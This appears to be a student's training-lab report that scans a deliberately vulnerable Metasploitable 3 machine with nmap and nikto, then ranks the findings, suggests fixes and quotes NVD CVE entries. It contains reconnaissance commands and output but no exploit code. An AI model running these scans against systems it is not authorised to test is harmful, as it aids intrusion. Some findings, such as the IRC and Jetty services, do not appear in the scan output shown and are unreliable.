

PROGREE REPORT

TASK 2

```
Metasploitable3-ub1404 [Running] - Oracle VirtualBox
File Machine View Input Devices Help

link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
inet 127.0.0.1/8 scope host lo
    valid_lft forever preferred_lft forever
inet6 ::1/128 scope host
    valid_lft forever preferred_lft forever
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast state UP group default qlen 1000
    link/ether 08:00:27:68:3b:19 brd ff:ff:ff:ff:ff:ff
    inet 192.168.56.103/24 brd 192.168.56.255 scope global eth0
        valid_lft forever preferred_lft forever
    inet6 fe80::a00:27ff:fe68:3b19/64 scope link
        valid_lft forever preferred_lft forever
3: eth1: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast state UP group default qlen 1000
    link/ether 08:00:27:6d:9c:41 brd ff:ff:ff:ff:ff:ff
    inet 172.28.128.3/24 brd 172.28.128.255 scope global eth1
        valid_lft forever preferred_lft forever
    inet6 fe80::a00:27ff:fe6d:9c41/64 scope link
        valid_lft forever preferred_lft forever
4: docker0: <NO-CARRIER,BROADCAST,MULTICAST,UP> mtu 1500 qdisc noqueue state DOWN group default
    link/ether 02:42:aa:38:87:14 brd ff:ff:ff:ff:ff:ff
    inet 172.17.0.1/16 brd 172.17.255.255 scope global docker0
        valid_lft forever preferred_lft forever
    inet6 fe80::42:aaff:fe38:8714/64 scope link
        valid_lft forever preferred_lft forever
vagrant@metasploitable3-ub1404:~$
vagrant@metasploitable3-ub1404:~$
vagrant@metasploitable3-ub1404:~$
vagrant@metasploitable3-ub1404:~$
```

```
(kali㉿kali)-[~]
$ ifconfig
eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
    inet 192.168.56.102 netmask 255.255.255.0 broadcast 192.168.56.255
    inet6 fe80::cae:7582:a705:cbb1 prefixlen 64 scopeid 0x20<link>
    ether 08:00:27:5a:87:bc txqueuelen 1000 (Ethernet)
    RX packets 2 bytes 650 (650.0 B)
    RX errors 0 dropped 0 overruns 0 frame 0
    TX packets 24 bytes 3126 (3.0 KiB)
    TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0

lo: flags=73<UP,LOOPBACK,RUNNING> mtu 65536
    inet 127.0.0.1 netmask 255.0.0.0
    inet6 ::1 prefixlen 128 scopeid 0x10<host>
    loop txqueuelen 1000 (Local Loopback)
    RX packets 8 bytes 480 (480.0 B)
    RX errors 0 dropped 0 overruns 0 frame 0
    TX packets 8 bytes 480 (480.0 B)
    TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
```

```
(kali㉿kali)-[~]
$ ifconfig
eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
    inet 192.168.56.102 netmask 255.255.255.0 broadcast 192.168.56.255
    inet6 fe80::cae:7582:a705:cbb1 prefixlen 64 scopeid 0<link>
    ether 08:00:27:5a:87:bc txqueuelen 1000 (Ethernet)
    RX packets 2 bytes 650 (650.0 B)
    RX errors 0 dropped 0 overruns 0 frame 0
    TX packets 24 bytes 3126 (3.0 KiB)
    TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0

lo: flags=73<UP,LOOPBACK,RUNNING> mtu 65536
    inet 127.0.0.1 netmask 255.0.0.0
    inet6 ::1 prefixlen 128 scopeid 0<host>
    loop txqueuelen 1000 (Local Loopback)
    RX packets 8 bytes 480 (480.0 B)
    RX errors 0 dropped 0 overruns 0 frame 0
    TX packets 8 bytes 480 (480.0 B)
    TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
```

```
(kali㉿kali)-[~]
$ ping -c 3 192.168.56.103
PING 192.168.56.103 (192.168.56.103) 56(84) bytes of data:
64 bytes from 192.168.56.103: icmp_seq=1 ttl=64 time=1.18 ms
64 bytes from 192.168.56.103: icmp_seq=2 ttl=64 time=0.386 ms
64 bytes from 192.168.56.103: icmp_seq=3 ttl=64 time=0.353 ms

— 192.168.56.103 ping statistics —
3 packets transmitted, 3 received, 0% packet loss, time 2032ms
rtt min/avg/max/mdev = 0.353/0.640/1.183/0.383 ms
```

```
(kali㉿kali)-[~]
$ ping -c 2 8.8.8.8
ping: connect: Network is unreachable
```

```
(kali㉿kali)-[~]
$ mkdir -p ~/vapt_lab/scans
cd ~/vapt_lab
pwd
/home/kali/vapt_lab
```

```
(kali㉿kali)-[~/vapt_lab]
$ nmap -T4 -F 192.168.56.103 -oN scans/01_quick_scan.txt
Starting Nmap 7.99 ( https://nmap.org ) at 2026-09-18 09:29 -0400
Nmap scan report for 192.168.56.103
Host is up (0.00038s latency).
Not shown: 92 filtered tcp ports (no-response)
```

```
(kali㉿kali)-[~/vapt_lab]
$ nmap -T4 -F 192.168.56.103 -oN scans/01_quick_scan.txt
Starting Nmap 7.99 ( https://nmap.org ) at 2026-09-18 09:29 -0400
Nmap scan report for 192.168.56.103
Host is up (0.00038s latency).
Not shown: 92 filtered tcp ports (no-response)
PORT      STATE SERVICE
21/tcp    closed ftp
22/tcp    open  ssh
80/tcp    open  http
445/tcp   open  microsoft-ds
631/tcp   open  ipp
3000/tcp  closed ppp
3306/tcp  open  mysql
8080/tcp  open  http-proxy
MAC Address: 08:00:27:68:3B:19 (Oracle VirtualBox virtual NIC)

Nmap done: 1 IP address (1 host up) scanned in 1.99 seconds
```

```
(kali㉿kali)-[~/vapt_lab]
$ nmap -A -T4 -p- 192.168.56.103 -oN scans/02_full_scan.txt -oX scans/02_full_scan.xml
Starting Nmap 7.99 ( https://nmap.org ) at 2026-09-18 09:29 -0400
Nmap scan report for 192.168.56.103
Host is up (0.00036s latency).
Not shown: 65524 filtered tcp ports (no-response)
PORT      STATE SERVICE      VERSION
```

```
(kali㉿kali)-[~/vapt_lab]
$ nmap -T4 -F 192.168.56.103 -oN scans/01_quick_scan.txt
Starting Nmap 7.99 ( https://nmap.org ) at 2026-09-18 09:29 -0400
Nmap scan report for 192.168.56.103
Host is up (0.00038s latency).
Not shown: 92 filtered tcp ports (no-response)
PORT      STATE SERVICE
21/tcp    closed ftp
22/tcp    open  ssh
80/tcp    open  http
445/tcp   open  microsoft-ds
631/tcp   open  ipp
3000/tcp  closed ppp
3306/tcp  open  mysql
8080/tcp  open  http-proxy
MAC Address: 08:00:27:68:3B:19 (Oracle VirtualBox virtual NIC)

Nmap done: 1 IP address (1 host up) scanned in 1.99 seconds
```

```
(kali㉿kali)-[~/vapt_lab]
$ nmap -A -T4 -p- 192.168.56.103 -oN scans/02_full_scan.txt -oX scans/02_full_scan.xml
Starting Nmap 7.99 ( https://nmap.org ) at 2026-09-18 09:29 -0400
Nmap scan report for 192.168.56.103
Host is up (0.00036s latency).
Not shown: 65524 filtered tcp ports (no-response)
PORT      STATE SERVICE      VERSION
```

```
22/tcp open  ssh          OpenSSH 6.6.1p1 Ubuntu 2ubuntu2.13 (Ubuntu Linux;
protocol 2.0)
| ssh-hostkey:
|   1024 2b:2e:1f:a4:54:26:87:76:12:26:59:58:0d:da:3b:04 (DSA)
|   2048 c9:ac:70:ef:f8:de:8b:a3:a3:44:ab:3d:32:0a:5c:6a (RSA)
|   256 c0:49:cc:18:7b:27:a4:07:0d:2a:0d:bb:42:4c:36:17 (ECDSA)
|_  256 a0:76:f3:76:f8:f0:70:4d:09:ca:e1:10:fd:a9:cc:0a (ED25519)
80/tcp open  http          Apache httpd 2.4.7
| http-ls: Volume /
|  SIZE  TIME                               FILENAME
|  -      2020-10-29 19:37                   chat/
|  -      2011-07-27 20:17                   drupal/
|  1.7K   2020-10-29 19:37                   payroll_app.php
|  -      2013-04-08 12:06                   phpmyadmin/
|_
|_http-title: Index of /
|_http-server-header: Apache/2.4.7 (Ubuntu)
445/tcp open  netbios-ssn  Samba smbd 4.3.11-Ubuntu (workgroup: WORKGROUP)
631/tcp open  ipp          CUPS 1.7
|_http-server-header: CUPS/1.7 IPP/2.1
| http-robots.txt: 1 disallowed entry
|_/
|_http-title: Home - CUPS 1.7.2
| http-methods:
|_ Potentially risky methods: PUT
3000/tcp closed ppp
3306/tcp open  mysql        MySQL (unauthorized)
3500/tcp open  http         WEBrick httpd 1.3.1 (Ruby 2.3.8 (2018-10-18))
```

```
| account_used: guest
| authentication_level: user
| challenge_response: supported
|_ message_signing: disabled (dangerous, but default)
| smb-os-discovery:
|   OS: Windows 6.1 (Samba 4.3.11-Ubuntu)
|   Computer name: metasploitable3-ub1404
|   NetBIOS computer name: METASPLOITABLE3-UB1404\x00
|   Domain name: \x00
|   FQDN: metasploitable3-ub1404
|_ System time: 2026-09-18T13:31:07+00:00
|_ clock-skew: mean: 0s, deviation: 1s, median: -1s
| smb2-time:
|   date: 2026-09-18T13:31:06
|_ start_date: N/A
| smb2-security-mode:
|   3.1.1:
|_ Message signing enabled but not required
```

TRACEROUTE

HOP	RTT	ADDRESS
1	0.36 ms	192.168.56.103

OS and Service detection performed. Please report any incorrect results at <https://nmap.org/submit/>.

Nmap done: 1 IP address (1 host up) scanned in 139.30 seconds

```
└─$ nmap --script=vuln 192.168.56.103 -oN scans/03_vuln_scan.txt
Starting Nmap 7.99 ( https://nmap.org ) at 2026-09-18 09:32 -0400
Stats: 0:03:19 elapsed; 0 hosts completed (1 up), 1 undergoing Script Scan
NSE Timing: About 98.77% done; ETC: 09:36 (0:00:02 remaining)
Nmap scan report for 192.168.56.103
Host is up (0.00037s latency).
Not shown: 991 filtered tcp ports (no-response)
PORT      STATE SERVICE
21/tcp    closed ftp
22/tcp    open  ssh
80/tcp    open  http
|_http-stored-xss: Couldn't find any stored XSS vulnerabilities.
|_http-dombased-xss: Couldn't find any DOM based XSS.
| http-enum:
|   /: Root directory w/ listing on 'apache/2.4.7 (ubuntu)'
|   /phpmyadmin/: phpMyAdmin
|_ /uploads/: Potentially interesting directory w/ listing on 'apache/2.4.7 (ubuntu)'
| http-csrf:
| Spidering limited to: maxdepth=3; maxpagecount=20; withinhost=192.168.56.103
|   Found the following possible CSRF vulnerabilities:
|
|   Path: http://192.168.56.103:80/drupal/
|   Form id: user-login-form
|   Form action: /drupal/?q=node&destination=node
|
|   Path: http://192.168.56.103:80/payroll_app.php
```

```
|
|   Disclosure date: 2009-09-17
|   References:
|       https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-6750
|_      http://ha.ckers.org/slowloris/
8181/tcp closed intermapper
MAC Address: 08:00:27:68:3B:19 (Oracle VirtualBox virtual NIC)

Host script results:
| smb-vuln-regsvc-dos:
|   VULNERABLE:
|   Service regsvc in Microsoft Windows systems vulnerable to denial of servi
ce
|   State: VULNERABLE
|   The service regsvc in Microsoft Windows 2000 systems is vulnerable to
denial of service caused by a null deference
|   pointer. This script will crash the service if it is vulnerable. This
vulnerability was discovered by Ron Bowes
|   while working on smb-enum-sessions.
|_
|_smb-vuln-ms10-054: false
|_smb-vuln-ms10-061: false

Nmap done: 1 IP address (1 host up) scanned in 328.04 seconds

(kali@kali)-[~/vapt_lab]
$ nikto -h http://192.168.56.103 -o scans/04_nikto.html -Format html
- Nikto v2.6.0
```

```
$ nikto -h http://192.168.56.103 -o scans/04_nikto.html -Format html
- Nikto v2.6.0
```

```
+ Target IP:          192.168.56.103
+ Target Hostname:    192.168.56.103
+ Target Port:        80
+ Platform:           Unknown
+ Start Time:         2026-09-18 09:38:17 (GMT-4)
```

```
+ Server: Apache/2.4.7 (Ubuntu)
+ ERROR: Failed to check for updates:
+ [750500] /: Directory indexing found.
+ No CGI Directories found (use '-C all' to force check all possible dirs). C
GI tests skipped.
+ [013587] /: Suggested security header missing: x-content-type-options. See:
https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-Content-Type-Opt
ions
+ [013587] /: Suggested security header missing: referrer-policy. See: https:
//developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Referrer-Policy
+ [013587] /: Suggested security header missing: content-security-policy. See
: https://developer.mozilla.org/en-US/docs/Web/HTTP/CSP
+ [013587] /: Suggested security header missing: permissions-policy. See: htt
ps://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Permissions-Policy
+ [013587] /: Suggested security header missing: strict-transport-security. S
ee: https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Strict-Transpor
t-Security
+ [600050] Apache/2.4.7 appears to be outdated (current is at least 2.4.66).
+ [999990] OPTIONS: Allowed HTTP Methods: OPTIONS, GET, HEAD, POST .
```

```
+ [007107] /phpmyadmin/README: phpMyAdmin is for managing MySQL databases, and should be protected or limited to authorized hosts. See: https://typo3.org/
+ [007342] /: X-Frame-Options header is deprecated and was replaced with the Content-Security-Policy HTTP header with the frame-ancestors directive. See: https://developer.mozilla.org/en-US/docs/Web/HTTP/Reference/Headers/X-Frame-Options
+ [007352] /: The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type. See: https://www.netsparker.com/web-vulnerability-scanner/vulnerabilities/missing-content-type-header/
+ 8292 requests: 16 errors and 29 items reported on the remote host
+ End Time: 2026-09-18 09:44:03 (GMT-4) (346 seconds)
```

```
+ 1 host(s) tested
```

```
(kali㉿kali)-[~/vapt_lab]
```

```
$ ls -la ~/vapt_lab/scans/
```

```
total 72
```

```
drwxrwxr-x 2 kali kali 4096 Sep 18 09:38 .
drwxrwxr-x 3 kali kali 4096 Sep 18 09:29 ..
-rw-rw-r-- 1 kali kali 611 Sep 18 09:29 01_quick_scan.txt
-rw-rw-r-- 1 kali kali 3296 Sep 18 09:31 02_full_scan.txt
-rw-rw-r-- 1 kali kali 13683 Sep 18 09:31 02_full_scan.xml
-rw-rw-r-- 1 kali kali 15345 Sep 18 09:38 03_vuln_scan.txt
-rw-rw-r-- 1 kali kali 23625 Sep 18 09:44 04_nikto.html.htm
```

```
(kali㉿kali)-[~/vapt_lab]
```

```
$ █
```

Metasploitable 3 – Vulnerability Scan Results & Risk Assessment

1. Executive Summary

A vulnerability assessment was conducted against the **Metasploitable 3 Ubuntu** target system to identify exposed network services, software versions, and potential security weaknesses.

The scan identified multiple open ports hosting services such as **SSH, HTTP, SMB, IPP/CUPS, MySQL, WEBrick, IRC, and Jetty**. Several of these services are running outdated or vulnerable software versions that may expose the system to security risks, including **Remote Code Execution (RCE), Denial of Service (DoS), request smuggling, and unauthorized access**.

Based on the identified vulnerabilities, the **UnrealIRCd backdoor on TCP port 6697** represents the highest-priority finding because of its potential for remote code execution. Other significant findings include vulnerabilities associated with Apache, Samba, WEBrick, and CUPS.

The findings have therefore been prioritized according to their potential impact and the urgency of remediation.

2. Open Ports and Identified Services

The following network services were identified during the scan:

Port	Service	Version / Observation
22/tcp	SSH	OpenSSH 6.6.1p1 Ubuntu
80/tcp	HTTP	Apache HTTP Server 2.4.7 (Ubuntu)
445/tcp	SMB	Samba 4.3.11-Ubuntu
631/tcp	IPP	CUPS 1.7.x
3306/tcp	MySQL	MySQL service detected; authentication required
3500/tcp	HTTP	WEBrick 1.3.1 / Ruby 2.3.8
6697/tcp	IRC	UnrealIRCd
8080/tcp	HTTP	Jetty 8.1.7.v20120910

The presence of multiple externally accessible services increases the overall attack surface of the target system and requires appropriate patching, configuration hardening, and service minimization.

3. Critical and High-Priority Findings

3.1 UnrealIRCd Backdoor – CRITICAL

Affected Port: 6697/tcp

Service: IRC

Affected Software: UnrealIRCd 3.2.8.1

CVE: CVE-2010-2075

Risk: Critical

Potential Impact: Remote Code Execution (RCE)

Description

The UnrealIRCd service running on TCP port **6697** was identified as a critical security concern. UnrealIRCd version **3.2.8.1** is associated with a known backdoor vulnerability that can allow an attacker to execute commands remotely on the affected system.

This vulnerability is particularly significant because successful exploitation can potentially result in **remote code execution**, allowing an attacker to execute unauthorized commands with the privileges of the vulnerable service.

Security Impact

If exploited, the vulnerability could allow an attacker to:

- Execute unauthorized commands remotely.
- Compromise the affected system.
- Access or modify system resources.
- Use the compromised host as a starting point for further attacks.

Remediation

The recommended remediation actions are:

1. Upgrade UnrealIRCd to a secure and supported version.
2. If IRC functionality is not required, disable and remove the service.
3. Restrict access to TCP port 6697 using firewall rules.
4. Review system logs for suspicious IRC activity or unexpected command execution.
5. Reassess the system after remediation to verify that the vulnerable service is no longer exposed.

Priority: Immediate

3.2 Apache Slowloris Denial-of-Service Vulnerability – HIGH

Affected Service: HTTP

Finding: Slowloris vulnerability

CVE: CVE-2007-6750

Risk: High

Potential Impact: Denial of Service

Description

The vulnerability assessment identified that the web service may be susceptible to the **Slowloris Denial-of-Service attack**, which exploits the server's handling of incomplete HTTP requests.

The scan result indicated:

http-slowloris-check: LIKELY VULNERABLE

An attacker may abuse this behavior by maintaining a large number of incomplete connections, potentially consuming available server resources and preventing legitimate users from accessing the web service.

Security Impact

A successful attack could result in:

- Reduced web server availability.
- Exhaustion of connection resources.
- Slow or unavailable web services.
- Denial of service for legitimate users.

Remediation

Recommended measures include:

- Update Apache HTTP Server to a supported and secure version.
- Configure appropriate connection and request timeouts.
- Implement rate limiting where appropriate.
- Use a reverse proxy or web application firewall where suitable.
- Monitor unusual connection patterns and incomplete HTTP requests.

Priority: High

3.3 Samba Security Vulnerabilities – HIGH

Affected Port: 445/tcp

Service: SMB

Detected Version: Samba 4.3.11-Ubuntu

Risk: High

Potential Impact: Denial of Service / Service Disruption

Description

The scan identified **Samba 4.3.11** running on TCP port **445**. The identified version is outdated and associated with multiple publicly documented vulnerabilities.

Examples include:

- **CVE-2020-10704** – associated with a stack overflow condition and potential denial-of-service impact.
- **CVE-2020-10745** – associated with resource/CPU exhaustion and potential denial-of-service impact.

The exposure of SMB services is particularly important because SMB is commonly targeted during network-based attacks.

Security Impact

Potential consequences include:

- SMB service disruption.
- Excessive resource consumption.
- Denial of service.
- Increased attack surface within the network.

Remediation

Recommended actions include:

1. Upgrade Samba to a currently supported and secure release.
2. Disable SMB functionality if it is not required.
3. Restrict TCP port 445 to trusted networks.
4. Apply appropriate firewall rules.
5. Review SMB configuration and permissions.
6. Conduct a follow-up vulnerability scan after patching.

Priority: High

4. WEBrick Vulnerabilities – HIGH

Affected Port: 3500/tcp

Service: HTTP / WEBrick

Detected Version: WEBrick 1.3.1

Ruby Version: 2.3.8

Risk: High

Description

The assessment identified an outdated **WEBrick 1.3.1** web server running on TCP port **3500**. The associated Ruby environment is also an older release.

Several vulnerabilities have been publicly associated with older WEBrick/Ruby environments, including issues related to:

- **CVE-2017-10784** – security issue involving terminal escape sequences.
- **CVE-2020-25613** – HTTP request smuggling.
- **CVE-2019-16201** – Regular Expression Denial of Service (ReDoS).

The combination of an outdated web server and runtime increases the potential attack surface of the application.

Security Impact

Depending on the specific vulnerable configuration and application behavior, exploitation could potentially result in:

- Denial of service.
- HTTP request manipulation or smuggling.
- Unauthorized processing of malicious input.
- Increased risk of application compromise.

Remediation

Recommended actions:

1. Upgrade Ruby to a supported version.
2. Upgrade WEBrick and associated application dependencies.
3. Remove or disable the service if it is not required.
4. Restrict access to TCP port 3500.
5. Re-test the application after upgrading dependencies.

Priority: High

5. CUPS Security Vulnerabilities – MEDIUM

Affected Port: 631/tcp

Service: IPP / CUPS

Detected Version: CUPS 1.7.x

Risk: Medium

Description

The scan identified the **CUPS printing service** running on TCP port **631**. The detected version is outdated and may be affected by publicly documented security issues, including **CVE-2018-4700**, which is associated with a Cross-Site Request Forgery (CSRF) vulnerability.

Exposing a printing service unnecessarily can increase the attack surface of the system.

Security Impact

Potential impacts include:

- Unauthorized requests against the printing service.
- Improper access to printing-related functionality.
- Increased attack surface through an unnecessary network service.

Remediation

Recommended actions include:

1. Upgrade CUPS to a supported version.
2. Disable CUPS if printing functionality is not required.
3. Restrict access to TCP port 631.
4. Review CUPS permissions and configuration.
5. Re-scan the system after remediation.

Priority: Medium

6. Overall Risk Prioritization

Priority	Finding	Port	Risk	Primary Impact
1	UnrealIRCd Backdoor	6697	Critical	Remote Code Execution

Priority	Finding	Port	Risk	Primary Impact
2	Apache Slowloris	8080 / HTTP	High	Denial of Service
3	Samba Vulnerabilities	445	High	DoS / Service Disruption
4	WEBrick Vulnerabilities	3500	High	RCE / DoS / Request Smuggling
5	CUPS Vulnerabilities	631	Medium	CSRF / Unauthorized Requests

7. Recommended Remediation Strategy

The following remediation sequence is recommended based on the identified security risks:

Immediate Actions

- Address the **UnrealIRCd backdoor vulnerability** immediately.
- Disable unnecessary network-facing services.
- Restrict access to exposed ports using firewall rules.

Short-Term Actions

- Upgrade outdated versions of Apache, Samba, Ruby/WEBrick, and CUPS.
- Review service configurations and authentication controls.
- Limit SMB, IRC, printing, and development services to trusted networks where required.

Long-Term Actions

- Establish a regular vulnerability scanning and patch-management process.
- Maintain an inventory of installed software and exposed services.
- Remove unsupported software versions.
- Perform periodic configuration reviews.
- Conduct a follow-up vulnerability assessment after remediation.

8. Conclusion

The vulnerability assessment demonstrates that the Metasploitable 3 Ubuntu system has a **large attack surface due to multiple exposed and outdated services**.

The most significant finding is the **UnrealIRCd backdoor vulnerability**, which presents a potential remote code execution risk. Additional high-priority findings affect the web server, Samba, and WEBrick services, while CUPS presents a comparatively lower but still relevant security concern.

The assessment highlights the importance of **software patching, service hardening, network access restrictions, and continuous vulnerability management**. After applying the recommended remediation measures, a second vulnerability scan should be performed to confirm that the identified weaknesses have been successfully addressed.

CVE

The screenshot shows a Kali Linux virtual machine with a web browser open to the NVD-CVE-2025-66200 detail page. The page is titled "VULNERABILITIES" and "CVE-2025-66200 Detail". The description states: "mod_userdir+suexec bypass via AllowOverride FileInfo vulnerability in Apache HTTP Server. Users with access to use the RequestHeader directive in htaccess can cause some CGI scripts to run under an unexpected userid. This issue affects Apache HTTP Server: from 2.4.7 through 2.4.65. Users are recommended to upgrade to version 2.4.66, which fixes the issue." The metrics section shows the CVSS 3.x Severity and Vector Strings: "NIST: NVD", "Base Score: N/A", "NVD assessment not yet provided.", "ADP: CISA-ADP", "Base Score: 5.4 MEDIUM", and "Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:L". The quick info section includes: "CVE Dictionary Entry: CVE-2025-66200", "NVD Published Date: Dec 05, 2025", "NVD Last Modified: Jun 17, 2026", and "Source: Apache Software Foundation".

Ji. Agar aap is information ko apni **Metasploitable 3 vulnerability report** mein professional table ki form mein add karna chahte hain, to Word mein is tarah likhein:

Apache HTTP Server – Vulnerability Details

Item	Value
CVE ID	CVE-2025-66200
CVSS Score	5.4 (Medium)
Affected Software	Apache HTTP Server
Affected Version Range	Apache HTTP Server 2.4.7 – 2.4.65
Detected Version	Apache HTTP Server 2.4.7
Fixed Version	Apache HTTP Server 2.4.66
Severity	Medium

Short Description:

The identified Apache HTTP Server version **2.4.7** falls within the affected version range for **CVE-2025-66200**. The vulnerability has a **CVSS score of 5.4 (Medium)**. Since the installed version is significantly older than the fixed release, upgrading Apache to **version 2.4.66 or a later supported release** is recommended.

Recommended Remediation:

Upgrade the Apache HTTP Server to **2.4.66 or a later supported version**, verify that the vulnerable version is no longer installed, and perform a follow-up vulnerability scan to confirm remediation.

Note: Since this is a 2025 CVE, I'd recommend verifying the CVE details against the official Apache/NVD record before submitting the final report, especially if your instructor expects evidence-based CVE mapping.

The screenshot shows a Kali Linux virtual machine window titled "kali-linux-2026.2-virtualbox-amd64 [Running] - Oracle VirtualBox". Inside the VM, a web browser is open to the NVD-CVE-2010-2075 detail page on nvd.nist.gov. The browser's address bar shows the URL "nvd.nist.gov/vuln/detail/cve-2010-2075". The page content includes a "CVE-2010-2075 Detail" section with a "MODIFIED AFTER ENRICHMENT" notice. The "Description" section states that UnrealIRCd 3.2.8.1, as distributed on certain mirror sites from November 2009 through June 2010, contains an externally introduced modification (Trojan Horse) in the DEBUG3_DOLOG_SYSTEM macro, which allows remote attackers to execute arbitrary commands. The "Evaluator Description" section provides a link to the official precompiled Windows binaries (SSL and non-ssl) and notes that CVS is not affected. The "Metrics" section shows the CVSS 2.0 Severity and Vector Strings, with a Base Score of 7.5 and a Vector of (AV:N/AC:L/Au:N/C:P/I:P/A:P). The "References to Advisories, Solutions, and Tools" section is also visible. The browser's taskbar at the bottom shows various icons, including OffSec, Kali Linux, Kali Tools, Kali Docs, Kali Forums, Kali NetHunter, Exploit-DB, and Google Hacking DB. The system clock in the bottom right corner indicates 8:34 AM on 9/18/2026.

CVE-2010-2075 Detail

MODIFIED AFTER ENRICHMENT
This CVE record has been updated after NVD enrichment efforts were completed. Enrichment data supplied by the NVD may require amendment due to these changes.

Description

UnrealIRCd 3.2.8.1, as distributed on certain mirror sites from November 2009 through June 2010, contains an externally introduced modification (Trojan Horse) in the DEBUG3_DOLOG_SYSTEM macro, which allows remote attackers to execute arbitrary commands.

Evaluator Description

Per: <http://www.unrealircd.com/txt/unrealircd.20100612.txt> 'Official precompiled Windows binaries (SSL and non-ssl) are NOT affected. CVS is also not affected. 3.2.8 and any earlier versions are not affected. Any Unreal3.2.8.1.tar.gz downloaded BEFORE November 10 2009 should be safe, but you should really double-check, see next.'

Metrics

CVSS Version 4.0 | CVSS Version 3.x | **CVSS Version 2.0**

NVD enrichment efforts reference publicly available information to associate vector strings. CVSS information contributed by other sources is also displayed.

CVSS 2.0 Severity and Vector Strings:

NIST: NVD | **Base Score:** 7.5 | **Vector:** (AV:N/AC:L/Au:N/C:P/I:P/A:P)

References to Advisories, Solutions, and Tools

kali-linux-2026.2-virtualbox-amd64 [Running] - Oracle VirtualBox

FileMachineViewInputDevicesHelp

1234

NVD-CVE-2017-7494

nvd.nist.gov/vuln/detail/cve-2017-749467%

OffSecKali LinuxKali ToolsKali DocsKali ForumsKali NetHunterExploit-DBGoogle Hacking DB

NATIONAL VULNERABILITY DATABASENSI

VULNERABILITIES

CVE-2017-7494 Detail

Description

Samba since version 3.5.0 and before 4.6.4, 4.5.10 and 4.4.14 is vulnerable to remote code execution vulnerability, allowing a malicious client to upload a shared library to a writable share, and then cause the server to load and execute it.

Metrics

CVSS Version 4.0CVSS Version 3.xCVSS Version 2.0SSVC

NVD enrichment efforts reference publicly available information to associate vector strings. CVSS information contributed by other sources is also displayed.

CVSS 3.x Severity and Vector Strings:

NIST: NVD

Base Score: 8.8 CRITICAL

Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

ADP: CISA-ADP

Base Score: 8.8 CRITICAL

Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

QUICK INFO

CVE Dictionary Entry:

CVE-2017-7494

NVD Published Date:

May 30, 2017

NVD Last Modified:

Jun 17, 2026

Source:

Red Hat, Inc.

References to Advisories, Solutions, and Tools

By selecting these links, you will be leaving NIST webspace. We have provided these links to other web sites because they may have information that would be of interest to you. No inferences should be drawn on account of other sites being referenced, or not, from this page. There may be other web sites that are more appropriate for your purpose. NIST does not

kali-linux-2026.2-virtualbox-amd64 [Running] - Oracle VirtualBox

FileMachineViewInputDevicesHelp

1234

NVD-CVE-2017-10784

nvd.nist.gov/vuln/detail/cve-2017-1078467%

OffSecKali LinuxKali ToolsKali DocsKali ForumsKali NetHunterExploit-DBGoogle Hacking DB

VULNERABILITIES

CVE-2017-10784 Detail

MODIFIED AFTER ENRICHMENT

This CVE record has been updated after NVD enrichment efforts were completed. Enrichment data supplied by the NVD may require amendment due to these changes.

Description

The Basic authentication code in WEBrick library in Ruby before 2.2.8, 2.3.x before 2.3.5, and 2.4.x through 2.4.1 allows remote attackers to inject terminal emulator escape sequences into its log and possibly execute arbitrary commands via a crafted user name.

Metrics

CVSS Version 4.0CVSS Version 3.xCVSS Version 2.0

NVD enrichment efforts reference publicly available information to associate vector strings. CVSS information contributed by other sources is also displayed.

CVSS 3.x Severity and Vector Strings:

NIST: NVD

Base Score: 8.8 HIGH

QUICK INFO

CVE Dictionary Entry:

CVE-2017-10784

NVD Published Date:

Sep 19, 2017

NVD Last Modified:

Jun 17, 2026

Source:

MITRE

VULNERABILITIES

CVE-2015-2080 Detail

MODIFIED AFTER ENRICHMENT

This CVE record has been updated after NVD enrichment efforts were completed. Enrichment data supplied by the NVD may require amendment due to these changes.

Description

The exception handling code in Eclipse Jetty before 9.2.9.v20150224 allows remote attackers to obtain sensitive information from process memory via illegal characters in an HTTP header, aka JetLeak.

Metrics

CVSS Version 4.0 CVSS Version 3.x CVSS Version 2.0

NVD enrichment efforts reference publicly available information to associate vector strings. CVSS information contributed by other sources is also displayed.

CVSS 3.x Severity and Vector Strings:



NIST: NVD

Base Score: 7.5 HIGH

Vector: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

QUICK INFO

CVE Dictionary Entry:

[CVE-2015-2080](#)

NVD Published Date:

Oct 07, 2016

NVD Last Modified:

Jun 17, 2026

Source:

MITRE

CVE-2007-6750 Detail

MODIFIED AFTER ENRICHMENT

This CVE record has been updated after NVD enrichment efforts were completed. Enrichment data supplied by the NVD may require amendment due to these changes.

Description

The Apache HTTP Server 1.x and 2.x allows remote attackers to cause a denial of service (daemon outage) via partial HTTP requests, as demonstrated by Slowloris, related to the lack of the mod_reqtimeout module in versions before 2.2.15.

Metrics

CVSS Version 4.0 CVSS Version 3.x CVSS Version 2.0

NVD enrichment efforts reference publicly available information to associate vector strings. CVSS information contributed by other sources is also displayed.

CVSS 2.0 Severity and Vector Strings:



NIST: NVD

Base Score: 5

Vector: (AV:N/AC:L/Au:N/C:N/I:N/A:P)

QUICK INFO

CVE Dictionary Entry:

[CVE-2007-6750](#)

NVD Published Date:

Dec 27, 2011

NVD Last Modified:

Jun 16, 2026

Source:

MITRE

VULNERABILITIES

CVE-2025-66200 Detail

Description

